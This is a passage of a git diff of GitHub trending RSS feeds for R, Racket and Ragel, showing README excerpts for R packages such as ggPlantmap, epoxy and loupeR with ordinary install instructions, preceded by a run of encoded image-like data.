cwfk4CKIdBwDAEAZwlATH8HI+QVhAlKHyWC4keChHmoUI6GAGYVCBQCogMAQXsExdixkTFAnCMCTIXKTFKVMXfgI4KYg7D7mGGQchuS15FHSBgVxDpTB8HSNCgEcK+DAlklPDiFjUg6n+LCwoIqEXYkHAg0gSCUHMHQdhOsRAxCzJcPglwZBFEABJOm4B2RlLg5hjWdI+Oa58IgjXfIWXYioUB-mAuBVRKBzxQXgvgAwlMMrATypBIi+l2hRAGAdOiol5Bni4vxTqUFWK408lJeSmlNK6VZ0yoy5lJB0gUKany3gXKeVUU5WoQVsr4WhrEfWCmDrJXOs6dW4NxQFUZQAL76DGGYO1T4HVOseX8gFYNPW6EJX6yFgaYXttFe3DiKKo06hjSmnFgRE2TtjUCtNZKKVUqzX2cN4k80oRZYW9lt0S1lqlLyytbbhUdrrRTRtRrm2PKDU+6s3a6xdvqcoXeGRUE0OcSeLQBhWBSjMEs7yaQMjZKeZGpgAoNmkCNRkrJUTnX0W8pEhJzxzWmO0D8-ZO44gRACM2BMXsI3XFWloUwLhTxTghWQVpjQgglFoN4FgdZUDwkeblDAgSXLVNxGbE4ZxC7WxPHWS1xqVJahQgXKsNxeQDvdBER5YhnUEGdQAOXBJMSY4nDQKYMWAISjEACkPAbMRttEaheUFbWOV048+guCCFaS7WZ+UFmeQdFs-ZxzUpnOp1c5p90+nPPefwb5-zd0HkTHNjJ0oXz305EXdDbeekHSWvpIUY1C8l48Xy8pgsv8Vz-xgjyMjNW1GsTADAB+3Bn5sAuWo8Vp6m4OjEB-Z8vAe4RB1AQE9xtHIZOdVRncppngwBEBsCAGAoDeH2QVvazmNizZo2ODAanVoOhUFgcEhDaAAB8AB89LQWjo9fW90GSjXLukI8tdxKE0Ep3SSwJPDqWHqpdm1GZ6CwXrZYN2BlbuV3p1GZZzj2FK2Rti6R8PaitmAU-DpTKEbIlg045Ryi3nVzC4MVTLkrIeGmYHBsbxrUAbHh0tsL6Gjo9frGVneNcaI0+43T+HuRGdbYZkLpzMtZITc9I9w003Hm7fm4t5bq31sgXh2oHbAy9skAO6HI7OoTtna2dd27hL7vjq2Y5aA8B2DxoIFsx5KYeTNJyc1wohjZRRme6951H241faTYS9dv3-uZqB8enNCVQdOgLRDyX2doflpZwjpLuJnstFSI857zvaAAGpaBMREzw2gAAqCwBAjVu4ys94wqoM-InL9niYBe-sl7LxXm+j5BwzGHF2LCe45No97YUEjinbaVbbN368o48wE4956EQ4EwLOqHeYFPdjwKy4mGb+AAFUXRrgBioP-vt1B73SHwHtLw8g6ZeemPRbKo3rUDD4pSe1AS7nx6BTaaQsQAc-DsCacvAII0WUYC+YERqKqFAKW+eiAEAgQqoXyi+MA0u8+G+5ekBogzqC2JUiB4BGBIgWyeeTEHwiA2BkguBMAEBuGhBr+KBuIfmH+7oX+VmP+f+W2ABUWjaSB7ey8JOhK5g5yzAC2MeNuFBL2kakgYqXBz2nOOImeghTAwhrKohC+XuEhskGwTGRW96zGNuYBlBsh7+UYDBRO0BYEwKAAfrQBgBsEcr8kgcABsBMKqBoLGM8Fbp8voVsuPgeBITWAALp0HBRTaxYTDy7SiK60ArZrazCq5bbq50ZtJrgxSa4rK9iPRaGDQCbLZwCqh2E6iqF26XY3YR6SKm6ururm5Iqehr5qF77vYH4-bH7JrEpn4A7tHA4fRR4tZ35XpnSP7P6bZOZv5mYmGAaBikC0LwZmDZJ1gVDgRvZhEsCTEvC+4bp4oOgTSZbfLiGors71hDI6hzS267EGD7HRjdHg4AJmbzFMoO7PBUYrFbjbHmDiG2gbBp4BAaH55CRlIAYBBXDPAq627v4AmGophbEr5vGbIbDHGfFMBSGMHZLPDzRQmvYbA352KOqvFrJAInD7jUBMTmAADsxJYgwimCpA+860PIxgmCY68AGAiGOoXmeC+Cj0JU1cOCbJj0ViKo-yOQnAIKYgjgdIQJIKpA4EdgGwxAg0PI2YdgAAHLlJ0R6N4t7DyF+nKs+gwFEOEpgpII4FuhCTwC8acZIbCTgXUWcVPA4GTmfFsSaRAGaWZIilsdXrXmKpaeQRCVaeXunm6TgWiXtGKlPIaT6A6FYpwLunfJZCNEnieBsIUH4ChAWLaYhPuAZjOBgC4j8jWiGrQABEBpKAkKICCO7s9OQJINKKsKENqGPFWS-qgugj6pKZIB8eqhUPuDZgAJoyA2bbDvy6Av7zHtlsSyn7gKm-H5iinrRjyJjzTCaKkAYwCNmvBCjahtxpAGBNmdnSi3FJkEBcAOyWrdIsnxaIpdlJqSnSnjn4koRTkqkwSznMQykrobQYDLl1izk27zTWntm0CYlZ7Egyn3mByEkklknCLniaFUkOhbk14gQiQCg-kokOj-kYnoX+kBCgWDTngim1QwWKxwXCSaF5HwViKoV-nl7omAVYUmq164UOj4VrREWnCYkIXkXCQAaGj-rYhjF0AADCZy5ANgPATKvg0ySgbw4lBIqAzwcIDocISZbSfOrScyJQoIYAXa-hQAA">without</a>.</p> + leonardojo/ggPlantmap + 2023-09-25T01:38:55Z + tag:github.com,2023-09-25:/leonardojo/ggPlantmap + + <p></p><hr><h1>ggPlantmap <img src="https://raw.githubusercontent.com/leonardojo/ggPlantmap/main/man/figures/hex.png" align="right" height="250"></h1> <h6>Version 1.0.0</h6> <h6>Author: Leonardo Jo (<a href="mailto:l.jo@uu.nl">l.jo@uu.nl</a>)</h6> <!-- badges: start --> <!-- badges: end --> <h2>Overview</h2> <p>ggPlantmap is an open-source R package with the goal of facilitating the generation of informative ggplot maps from plant images to explore quantitative cell-type specific data. When combined with external quantitative data, ggPlantmap can be used for the visualization and displaying of spatial profiles in distinct parts/cells of the plant.</p> <p>Included in the package there is a set of pre-loaded maps created from previously published plant images that can be directly inserted into a ggplot coding workflow. ggPlantmap enables users to plot heatmap signatures of gene expression or any spatial quantitative data onto plant images providing a customizable and extensible platform for visualizing, and analyzing spatial quantitative patterns within specific plant regions This package uses the flexibility of the well-known ggplot2 R package to allow users to tailor maps to their specific research questions. <img src="https://raw.githubusercontent.com/leonardojo/ggPlantmap/main/man/figures/ggPlantmap.example.jpg" align="center" width="1000"></p> <h2>Installation</h2> <pre><code class="language-r">##install devtools (if you haven't already) install.packages("devtools") library(devtools) ## Installing from a github respository install_github("leonardojo/ggPlantmap") </code></pre> <h2>ggPlantmap useful guides (HIGHLY RECOMMENDED!)</h2> <p>I created a step-by-step <a href="https://github.com/leonardojo/ggPlantmap/raw/main/ggPlantmap.userguide.md">user guide</a> to help users navigate through the package.</p> <p>I also created a <a href="https://github.com/leonardojo/ggPlantmap/raw/main/TutorialforXMLfile.pdf">step-by-step guide with tips</a> on how to create your own ggPlantmap.</p> <p>Finally, here are some <a href="https://github.com/leonardojo/ggPlantmap/raw/main/contributetoggPlantmap.md">instructions</a> on how your newly created ggPlantmap can be included in the package.</p> <h2>What is a ggPlantmap?</h2> <p>Each unique ggPlantmap is a table (tibble) object with points coordinates (x,y) of specific points of polygons (ROIs) extracted from plant images.</p> <pre><code class="language-r">library(ggPlantmap) head(ggPm.At.roottip.longitudinal) #&gt; # A tibble: 6 × 7 #&gt; ROI.name Level1 Level2 ROI.id point x y #&gt; &lt;chr&gt; &lt;chr&gt; &lt;chr&gt; &lt;int&gt; &lt;int&gt; &lt;dbl&gt; &lt;dbl&gt; #&gt; 1 Meristem.QC Meristem QC 1 1 121. -323. #&gt; 2 Meristem.QC Meristem QC 1 2 127. -315. #&gt; 3 Meristem.QC Meristem QC 1 3 134. -315. #&gt; 4 Meristem.QC Meristem QC 1 4 149. -318. #&gt; 5 Meristem.QC Meristem QC 1 5 149. -329. #&gt; 6 Meristem.QC Meristem QC 1 6 134. -327. </code></pre> <img src="https://raw.githubusercontent.com/leonardojo/ggPlantmap/main/man/figures/guide/Slide6.JPG" align="center" height="500"> <h2>Plotting a ggPlantmap</h2> <p>ggPlantmaps can be easily plotted using the ggPlantmap.plot() function.</p> <pre><code class="language-r">library(ggPlantmap) ggPlantmap.plot(ggPm.At.earlyembryogenesis.devseries,Cell) </code></pre> <img src="https://raw.githubusercontent.com/leonardojo/ggPlantmap/main/man/figures/README-unnamed-chunk-4-1.png" width="50%" style="display: block; margin: auto;"> <pre><code class="language-r">ggPlantmap.plot(ggPm.At.roottip.longitudinal,Level1) </code></pre> <img src="https://raw.githubusercontent.com/leonardojo/ggPlantmap/main/man/figures/README-unnamed-chunk-4-2.png" width="50%" style="display: block; margin: auto;"> <h2>Pre-loaded ggPlantmaps</h2> <p>The package contain a series of pre-loaded ggPlantmaps created from previously published plant images. I hope to update the package with the contribution of the plant research community.</p> <pre><code class="language-r">library(ggPlantmap) ggPm.summary #&gt; # A tibble: 16 × 9 #&gt; ggPlantmap.name Species Tissue Type Descr…¹ Layers Image…² Made.by Conta…³ #&gt; &lt;chr&gt; &lt;chr&gt; &lt;chr&gt; &lt;chr&gt; &lt;chr&gt; &lt;chr&gt; &lt;chr&gt; &lt;chr&gt; &lt;chr&gt; #&gt; 1 ggPm.At.roottip.… Arabid… root cros… Cross-… Cells https:… Leonar… jo.leo… #&gt; 2 ggPm.At.roottip.… Arabid… root long… Longit… Cells https:… Leonar… jo.leo… #&gt; 3 ggPm.At.3weekros… Arabid… roset… top … Top vi… Leaves https:… Leonar… jo.leo… #&gt; 4 ggPm.At.leafepid… Arabid… leaf … top … Top vi… Cells https:… Leonar… jo.leo… #&gt; 5 ggPm.At.leaf.cro… Arabid… leaves cros… Cross-… Cells https:… Leonar… jo.leo… #&gt; 6 ggPm.At.seed.dev… Arabid… seed deve… Diagra… Cells… https:… Leonar… jo.leo… #&gt; 7 ggPm.At.earlyemb… Arabid… embryo deve… Diagra… Cells… https:… Leonar… jo.leo… #&gt; 8 ggPm.At.shootape… Arabid… shoot… long… Diagra… Layer… https:… Leonar… jo.leo… #&gt; 9 ggPm.At.inflores… Arabid… inflo… cros… Cross-… Cells https:… Leonar… jo.leo… #&gt; 10 ggPm.Sl.root.cro… Solanu… root cros… Cross-… Cells https:… Leonar… jo.leo… #&gt; 11 ggPm.At.leaf.top… Arabid… leaf top … Top vi… Leaves http:/… Leonar… jo.leo… #&gt; 12 ggPm.At.rootelon… Arabid… root … long… Longit… Cells https:… Leonar… jo.leo… #&gt; 13 ggPm.At.rootmatu… Arabid… root … cros… Cross-… Cells https:… Leonar… jo.leo… #&gt; 14 ggPm.At.flower.d… Arabid… flower diag… Diagra… Tissu… Taiz, … Leonar… jo.leo… #&gt; 15 ggPm.At.lateralr… Arabid… later… deve… Diagra… Cells… https:… Leonar… jo.leo… #&gt; 16 ggPm.Ms.root.cro… Medica… root cros… Cross-… Cells Unpubl… Leonar… jo.leo… #&gt; # … with abbreviated variable names ¹​Description, ²​Image.Reference, #&gt; # ³​Contact.Info </code></pre> <img src="https://raw.githubusercontent.com/leonardojo/ggPlantmap/main/man/figures/ggPm.someexamples.jpg" align="center" height="500"> <h2>Color mapping</h2> <p>These maps can be easily loaded into a ggplot coding environment and their color mapping changed based on the distinct layer classification of each ggPlantmap.</p> <img src="https://raw.githubusercontent.com/leonardojo/ggPlantmap/main/man/figures/README-unnamed-chunk-6-1.png" width="50%" style="display: block; margin: auto;"> <img src="https://raw.githubusercontent.com/leonardojo/ggPlantmap/main/man/figures/README-unnamed-chunk-7-1.png" width="50%" style="display: block; margin: auto;"> <h2>Overlaying external quantitative data into a ggPlantmap</h2> <p>With ggPlantmap you can overlay quantitative data into your ggPlantmap to visualize it as sort of a heatmap. To do so, you will need another table that contains quantitative data attributed to your ROIs. <img src="https://raw.githubusercontent.com/leonardojo/ggPlantmap/main/man/figures/guide/Slide7.JPG" align="center" width="1200"><br></p> <p>This approach can be very helpful for R Shiny app developers to create web interactive tools to visualize quantitative data in plant cell or structures.</p> <p>Some examples of heatmaps generated from available published data: <img src="https://raw.githubusercontent.com/leonardojo/ggPlantmap/main/man/figures/README-Slide2.PNG" align="center" width="1000"><br> <img src="https://raw.githubusercontent.com/leonardojo/ggPlantmap/main/man/figures/README-Slide3.PNG" align="center" width="1000"><br></p> <h2>Is ggPlantmap only usefull for molecular expression data?</h2> <p>Not at all. ggPlantmap can also be used to produce many other type of plots. Essentially anything that you can trace, you can create! Be creative! I hope to build a community where people explore the usage of ggPlantmap for the communication of Plant science.</p> <p><img src="https://raw.githubusercontent.com/leonardojo/ggPlantmap/main/man/figures/README-Slide4.PNG" align="center" width="1000"><br></p> <h2>How can I create my own ggPlantmap?</h2> <p>The principle of creating a ggPlantmap is fairly simple. We generate a list of ROIs (region of interests) in the Icy open-source software (<a href="https://icy.bioimageanalysis.org/">https://icy.bioimageanalysis.org/</a>) from any plant image. These ROIs are saved as XML files and later be converted into ggPlantmaps with the XML.to.ggPlantmap() function. <a href="https://github.com/leonardojo/ggPlantmap/raw/main/TutorialforXMLfile.pdf">We created step-by-step guide with tips</a> on how to generate xml images from plant images.</p> <img src="https://raw.githubusercontent.com/leonardojo/ggPlantmap/main/man/figures/README-Slide1.PNG" align="center" width="800"> <pre><code class="language-r">new.ggPlantmap &lt;- XML.to.ggPlantmap("data/ggPm.sample.xml") ggPlantmap.plot(new.ggPlantmap,ROI.name) </code></pre> <img src="https://raw.githubusercontent.com/leonardojo/ggPlantmap/main/man/figures/README-unnamed-chunk-8-1.png" width="50%"> <h2>Can my ggPlantmap be included in the package?</h2> <p>YES!!! Any Plant map can be included in the package. Here are some <a href="https://github.com/leonardojo/ggPlantmap/raw/main/contributetoggPlantmap.md">instructions</a> on how your newly created ggPlantmap can be included in the package.</p> <p>If you create one, please email me (<a href="mailto:l.jo@uu.nl">l.jo@uu.nl</a>) your ggPlantmap as tab-delimited table and I’ll make sure to include in the package. You will be credited and your information will be displayed in the summary file. I really hope this becomes an organic package with the contribution of the plant research community.</p> <h2>Acknowledgements</h2> <p>I would like to acknowledge Kaisa Kajala, Lisa Oskam, Monica Garcia Gomez, Pierre Gautrat and Kyra van der Velde for testing ggPlantmap. I also would like to acknowledge Andres Romanowski for providing some data for the initial tests of ggPlantmap.</p> <h2>How to cite</h2> <h3>Pre-print</h3> <p>Leonardo Jo, Kaisa Kajala. ggPlantmap: an R package for the graphic mapping of plant images. Authorea. September 21, 2023. DOI: 10.22541/au.169531385.58441696/v1</p> - jcheng5/posit-conf-2023-shinylive - 2023-09-24T01:39:43Z - tag:github.com,2023-09-24:/jcheng5/posit-conf-2023-shinylive - - <p></p><hr><h1>Running Shiny without a server</h1> <p>This repository contains the slides for the talk "Running Shiny without a server" given by Joe Cheng at <code>posit::conf(2023)</code> in Chicago, IL.</p> <h2>Slides</h2> <p><a href="https://jcheng5.github.io/posit-conf-2023-shinylive/">https://jcheng5.github.io/posit-conf-2023-shinylive/</a> (warning: many, many megabytes)</p> <h2>Next steps</h2> <h3>For R</h3> <ul> <li><strong>Convert</strong> Shiny apps to static websites: <a href="http://github.com/posit-dev/r-shinylive">{shinylive for R}</a></li> <li><strong>Write, run, and share</strong> Shiny apps right in the browser: <a href="https://shinylive.io/r/">https://shinylive.io/r/</a></li> <li><strong>Include</strong> Shiny apps in Quarto docs: <a href="https://github.com/quarto-ext/shinylive">Shinylive Quarto extension</a></li> </ul> <h3>For Python</h3> <ul> <li><strong>Convert</strong> Shiny apps to static websites: <a href="http://github.com/posit-dev/py-shinylive">{shinylive for Python}</a></li> <li><strong>Write, run, and share</strong> Shiny apps right in the browser: <a href="https://shinylive.io/py/">https://shinylive.io/py/</a></li> <li><strong>Include</strong> Shiny apps in Quarto docs: <a href="https://github.com/quarto-ext/shinylive">Shinylive Quarto extension</a></li> </ul> <h2>Questions?</h2> <p>File an issue in the appropriate GitHub repo, or <a href="https://discord.gg/yMGCamUMnS">join the Shiny community on Discord</a>.</p> + gadenbuie/epoxy + 2023-09-25T01:38:55Z + tag:github.com,2023-09-25:/gadenbuie/epoxy + + <p>Extra-strength glue engines for R Markdown and Quarto</p><hr><h1 align="center"> <a href="http://pkg.garrickadenbuie.com/epoxy/"><img src="https://raw.githubusercontent.com/gadenbuie/epoxy/main/man/figures/logo.png" align="center" height="250" alt="epoxy logo"></a><br> {epoxy} </h1> <p align="center"> <b>extra-strength <a href="https://glue.tidyverse.org">glue</a></b> for scripts, reports, and apps. </p> <p align="center"> <!-- badges: start --> <a href="https://CRAN.R-project.org/package=epoxy"><img src="https://www.r-pkg.org/badges/version/epoxy" alt="CRAN status"></a> <a href="https://gadenbuie.r-universe.dev"><img src="https://gadenbuie.r-universe.dev/badges/epoxy" alt="epoxy r-universe badge"></a> <a href="https://github.com/gadenbuie/epoxy/actions"><img src="https://github.com/gadenbuie/epoxy/workflows/R-CMD-check/badge.svg?sanitize=true" alt="R-CMD-check"></a> <a href="https://app.codecov.io/gh/gadenbuie/epoxy?branch=main"><img src="https://codecov.io/gh/gadenbuie/epoxy/branch/main/graph/badge.svg?sanitize=true" alt="Codecov test coverage"></a> <a href="https://github.com/gadenbuie/epoxy/raw/main/LICENSE.md" alt="MIT Licensed."><img src="https://img.shields.io/badge/License-MIT-blue.svg?sanitize=true"></a> <!-- badges: end --> </p> <h2>epoxy is super glue</h2> <h3><a href="https://pkg.garrickadenbuie.com/epoxy/articles/epoxy-report.html">In R Markdown and Quarto reports</a></h3> <p>Use <code>epoxy</code> chunks for extra-strength inline syntax. Just <code>library(epoxy)</code> in your <a href="https://rmarkdown.rstudio.com">R Markdown</a> or <a href="https://quarto.org">Quarto</a> document to get started. All epoxy chunks make it easy to transform values in place with a <code>{cli}</code>-inspired inline syntax described in <code>?epoxy_transform_inline</code>.</p> <h3><a href="https://pkg.garrickadenbuie.com/epoxy/articles/epoxy-script.html">In R scripts</a></h3> <p>The same functions that power epoxy chunks are availble in three flavors:</p> <ul> <li> <p><code>epoxy()</code> for markdown and general purpose outputs</p> </li> <li> <p><code>epoxy_html()</code> for HTML outputs, with added support for HTML templating (see <code>?epoxy_transform_html</code>)</p> </li> <li> <p><code>epoxy_latex()</code> for LaTeX reports</p> </li> </ul> <p>These functions are accompanied by a robust system for chained glue-transformers powered by <code>epoxy_transform()</code>.</p> <h3><a href="https://pkg.garrickadenbuie.com/epoxy/articles/epoxy-shiny.html">In Shiny apps</a></h3> <p><code>ui_epoxy_html()</code> makes it easy to update text or HTML dynamically, anywhere in your <a href="https://shiny.posit.co/">Shiny</a> app’s UI. For more complicated situations, <code>ui_epoxy_mustache()</code> lets you turn any Shiny UI into a template that leverages the <a href="https://mustache.github.io">Mustache templating language</a>.</p> <h2>epoxy in R Markdown and Quarto documents</h2> <p>In <a href="https://rmarkdown.rstudio.com">R Markdown</a> and <a href="https://quarto.org">Quarto</a> documents, <strong>epoxy</strong> gives you an <code>epoxy</code> chunk where you can write in markdown, blending prose and data using <a href="https://glue.tidyverse.org">glue</a>’s template syntax.</p> <p>Here’s an example using a small list containing data about a <code>movie</code> (expand the section below to see the full code for <code>movie</code>). We can use the inline transformer to format the replacement text as we build up a description from this data.</p> <details> <summary> Movie data </summary> <pre><code class="language-r">movie &lt;- list( year = 1989, title = "Back to the Future Part II", budget = 4e+07, domgross = 118450002, imdb_rating = 7.8, actors = c( "Michael J. Fox", "Christopher Lloyd", "Lea Thompson", "Thomas F. Wilson" ), runtime = 108L ) </code></pre> </details> <pre><code class="language-default">```{epoxy} The movie {.emph {.titlecase movie$title}} was released in {.strong movie$year}. It earned {.dollar movie$domgross} with a budget of {.dollar movie$budget}, and it features movie stars {.and movie$actors}. ``` </code></pre> <blockquote> The movie *Back to the Future Part II* was released in **1989**. It earned \$118,450,002 with a budget of \$40,000,000, and it features movie stars Michael J. Fox, Christopher Lloyd, Lea Thompson, and Thomas F. Wilson. </blockquote> <p>Learn more about <code>epoxy</code> chunks – and its siblings <code>epoxy_html</code> and <code>epoxy_latex</code> – in <a href="https://pkg.garrickadenbuie.com/epoxy//articles/epoxy.html">Getting Started</a>. Or read more about epoxy’s inline formatting in <code>?epoxy_transform_inline</code>.</p> <h2>Installation</h2> <p>You can install epoxy from CRAN:</p> <pre><code class="language-r">install.packages("epoxy") </code></pre> <p>You can install the latest development version of epoxy with <a href="https://remotes.r-lib.org">remotes</a></p> <pre><code class="language-r"># install.packages("remotes") remotes::install_github("gadenbuie/epoxy") </code></pre> <p>or from <a href="https://gadenbuie.r-universe.dev">gadenbuie.r-universe.dev</a>.</p> <pre><code class="language-r">options(repos = c( gadenbuie = "https://gadenbuie.r-universe.dev/", getOption("repos") )) install.packages("epoxy") </code></pre> <h2>Setup</h2> <pre><code class="language-r">library(epoxy) </code></pre> <p>Loading epoxy adds four new <a href="https://bookdown.org/yihui/rmarkdown/language-engines.html">knitr engines</a>, or chunk types. Each type lets you intermix text with R code or data (<code>expr</code> in the table below), and each is geared toward a different output context.</p> <table> <thead> <tr> <th align="left">Engine</th> <th align="left">Output Context</th> <th align="center">Delimiter</th> </tr> </thead> <tbody> <tr> <td align="left"><code>epoxy</code></td> <td align="left">all-purpose markdown</td> <td align="center"><code>{expr}</code></td> </tr> <tr> <td align="left"><code>epoxy_html</code></td> <td align="left">HTML</td> <td align="center"><code>{{expr}}</code></td> </tr> <tr> <td align="left"><code>epoxy_latex</code></td> <td align="left">LaTeX</td> <td align="center"><code>&lt;&lt;expr&gt;&gt;</code></td> </tr> <tr> <td align="left"><code>whisker</code></td> <td align="left">all-purpose</td> <td align="center"><a href="https://mustache.github.io/">mustache template language</a></td> </tr> </tbody> </table> <p>⚠️ <strong>Caution:</strong> Previously, epoxy provided a <code>glue</code> engine, but this conflicts with a similar chunk engine by the <a href="https://glue.tidyverse.org">glue</a> package. You can update existing documents to use the <code>epoxy</code> engine, or you can explicitly use epoxy’s <code>glue</code> chunk by including the following in your setup chunk.</p> <pre><code class="language-r">use_epoxy_glue_engine() </code></pre> <h2>Use epoxy</h2> <p>To use epoxy in your R Markdown document, create a new chunk using the engine of your choice. In that chunk, write in markdown, HTML, or LaTeX as needed, wrapping R expressions inside the delimiters for the epoxy chunk.</p> <pre><code class="language-default">```{epoxy} The average speed of the cars was **{mean(cars$speed)} mph.** But on average the distance traveled was only _{mean(cars$dist)}_. ``` </code></pre> <p>The average speed of the cars was <strong>15.4 mph</strong>. But on average the distance traveled was only <em>42.98 ft</em>.</p> <p><code>epoxy</code> is built around <code>glue::glue()</code>, which evaluates the R expressions in the <code>{ }</code> and inserts the results into the string. The chunk above is equivalent to this call to <code>glue::glue()</code>:</p> <pre><code class="language-r">glue::glue("The average speed of the cars was **{mean(cars$speed)} mph**. But on average the distance traveled was only _{mean(cars$dist)} ft_.") #&gt; The average speed of the cars was **15.4 mph**. #&gt; But on average the distance traveled was only _42.98 ft_. </code></pre> <p>One immediate advantage of using <code>epoxy</code> instead of <code>glue::glue()</code> is that RStudio’s autocompletion feature works inside <code>epoxy</code> chunks! Typing <code>cars$</code> in the chunk will suggest the columns of <code>cars</code>.</p> <h2>Learn more</h2> <p>There’s a whole lot more that epoxy can do! Learn more:</p> <ul> <li> <p><a href="https://pkg.garrickadenbuie.com/epoxy/">epoxy Package Documentation</a></p> </li> <li> <p><a href="https://pkg.garrickadenbuie.com/epoxy//articles/epoxy.html">Getting Started</a></p> </li> <li> <p><a href="https://pkg.garrickadenbuie.com/epoxy//articles/inline-reporting.html">Inline Reporting with epoxy</a></p> </li> </ul> <h2>Code of Conduct</h2> <p>Please note that the epoxy project is released with a <a href="http://pkg.garrickadenbuie.com/epoxy/CODE_OF_CONDUCT.html">Contributor Code of Conduct</a>. By contributing to this project, you agree to abide by its terms.</p> + + + curso-r/voosBR + 2023-09-25T01:38:55Z + tag:github.com,2023-09-25:/curso-r/voosBR + + <p></p><hr> \ No newline at end of file diff --git a/r/weekly/index.xml b/r/weekly/index.xml deleted file mode 100644 index 22fe8f81143..00000000000 --- a/r/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub R Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:59:23Z - Weekly Trending of R in GitHub - - - 10XGenomics/loupeR - 2023-09-24T01:59:23Z - tag:github.com,2023-09-24:/10XGenomics/loupeR - - <p>Convert Seurat objects to 10x Genomics Loupe files.</p><hr><p align="center"> <img src="https://raw.githubusercontent.com/10XGenomics/loupeR/main/tools/doc/logo.svg?sanitize=true" width="50%" alt="loupeR - convert Seurat objects to Loupe files"><br> <a href="https://github.com/10XGenomics/loupeR/actions?query=workflow%3Acheck"><img src="https://github.com/10XGenomics/loupeR/actions/workflows/check.yml/badge.svg?sanitize=true" alt="Build Status"></a> <a href="https://github.com/10XGenomics/loupeR/releases/latest"><img src="https://img.shields.io/badge/latest_release-green" alt="Build Status"></a> <a href="https://10xgen.com/EULA"><img src="https://img.shields.io/badge/EULA-purple" alt="EULA"></a> <br> Convert Seurat objects to 10x Genomics Loupe files. </p> <p align="center"> <a href="https://raw.githubusercontent.com/10XGenomics/loupeR/main/#how-to-use">How To Use</a> • <a href="https://raw.githubusercontent.com/10XGenomics/loupeR/main/#installation">Installation</a> • <a href="https://raw.githubusercontent.com/10XGenomics/loupeR/main/#troubleshooting">Troubleshooting</a> </p> <p><code>loupeR</code> creates a 10x Genomics Loupe file from a Seurat object. 10x Genomics Loupe Browser can visualize single-cell and spatial data from 10x Genomics. <em>Only single-cell gene expression datasets are supported</em>.</p> <h2>How to Use</h2> <p>Converting a Seurat object to a Loupe file is as simple as the following:</p> <pre><code class="language-R"># import the library library("loupeR") # convert the SeuratObject named `seurat_obj` to a Loupe file create_loupe_from_seurat(seurat_obj) </code></pre> <p>Use the function <code>create_loupe</code> if you need more control in the clusters and projetions that included in the Loupe file.</p> <pre><code class="language-R"># import the library library("loupeR") # Gene Expression RNA assay assay &lt;- seurat_obj[["RNA"]] # convert the count matrix, clusters, and projections into a Loupe file create_loupe( assay@counts, clusters = select_clusters(seurat_obj), projections = select_projections(seurat_obj) ) </code></pre> <h2>Installation</h2> <h3>HDF5</h3> <p>Before using <code>loupeR</code>, make sure that your system has installed <a href="https://www.hdfgroup.org/downloads/hdf5">HDF5</a>. The HDF5 organization requires registration before being able to download the installer. Below are some other more convenient methods for installing HDF5 if you happen to have these package managers installed.</p> <ul> <li>macOS with <a href="https://brew.sh/">Homebrew</a> - <code>brew install hdf5</code> <br></li> <li>windows with <a href="https://vcpkg.io/en/index.html">vcpkg</a> - <code>.\vcpkg install hdf5</code></li> </ul> <h3>Installing loupeR from prebuilt bundle</h3> <p>In RStudio, or your R shell, run the following to install this package.</p> <pre><code class="language-r"># install dependencies if (!require("hdf5r")) install.packages("hdf5r") if (!require("Seurat")) install.packages("Seurat") # install platform specific source package os &lt;- sub("Darwin", "macOS", Sys.info()["sysname"]) url &lt;- paste0("https://github.com/10XGenomics/loupeR/releases/latest/download/loupeR_", os, ".tar.gz") install.packages(url, repos = NULL, type = "source") </code></pre> <h3>Installing loupeR using the <code>remotes</code> package</h3> <p>Another installation option is to use the <code>remotes</code> package to directly install <code>loupeR</code> and its dependencies. The installed package won't include the prebundled louper executable, so you must invoke the <code>loupeR::setup()</code> function which will go and download it.</p> <pre><code class="language-r">remotes::install_github("10XGenomics/loupeR") loupeR::setup() </code></pre> <h2>Troubleshooting</h2> <p>For more in depth documentation and support please head to our <a href="https://10xgen.com/louper">support page</a> or send an email to <a href="mailto:support@10xgenomics.com">support@10xgenomics.com</a></p> <p>Additionally, we have provided utility functions to help gather useful information when contacting support or creating a Github issue.</p> <pre><code class="language-R"># import the library library("loupeR") # print extra debug information create_bugreport_from_seurat(seurat_obj) </code></pre> - - - Sage-Bionetworks/Re-Attractor-Metagenes - 2023-09-24T01:59:23Z - tag:github.com,2023-09-24:/Sage-Bionetworks/Re-Attractor-Metagenes - - <p>Re-create Attractor Metagenes from PLoS Computation Biology Paper (Cheng et al)</p><hr><h1>Re-Attractor-Metagenes</h1> <p>Re-create Attractor Metagenes from PLoS Computation Biology Paper (Cheng et al)</p> - - - aufrank/R-hacks - 2023-09-24T01:59:23Z - tag:github.com,2023-09-24:/aufrank/R-hacks - - <p>useful bits of code for programming and analysis in R</p><hr><p>#+TITLE: README.org #+AUTHOR: Austin F. Frank #+EMAIL: <a href="mailto:austin.frank@gmail.com">austin.frank@gmail.com</a> #+DATE: 2011-02-24 Thu #+OPTIONS: H:3 num:t toc:t \n:nil @:t ::t |:t ^:t -:t f:t *:t &lt;:t #+OPTIONS: TeX:t LaTeX:t skip:nil d:nil todo:t pri:nil tags:not-in-toc</p> <p>When I find I'm using the same functions on more than one project, I factor them out and keep them here.</p> - - \ No newline at end of file diff --git a/racket/daily/index.xml b/racket/daily/index.xml index 496c6c9b518..6f876bec19e 100644 --- a/racket/daily/index.xml +++ b/racket/daily/index.xml @@ -1,7 +1,7 @@ GitHub Racket Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:39:52Z + 2023-09-25T01:39:05Z Daily Trending of Racket in GitHub \ No newline at end of file diff --git a/racket/weekly/index.xml b/racket/weekly/index.xml deleted file mode 100644 index c093bdc76cc..00000000000 --- a/racket/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub Racket Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:59:29Z - Weekly Trending of Racket in GitHub - - - jtebert/racket-ruckus - 2023-09-24T01:59:29Z - tag:github.com,2023-09-24:/jtebert/racket-ruckus - - <p>Some of the chaos I have created in Racket. Because apparently I have nothing better to do with my time.</p><hr> - - \ No newline at end of file diff --git a/ragel/daily/index.xml b/ragel/daily/index.xml index cbfc2f8f7d1..b0c9c075800 100644 --- a/ragel/daily/index.xml +++ b/ragel/daily/index.xml @@ -1,7 +1,7 @@ GitHub Ragel Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:39:52Z + 2023-09-25T01:39:04Z Daily Trending of Ragel in GitHub \ No newline at end of file diff --git a/ragel/weekly/index.xml b/ragel/weekly/index.xml deleted file mode 100644 index 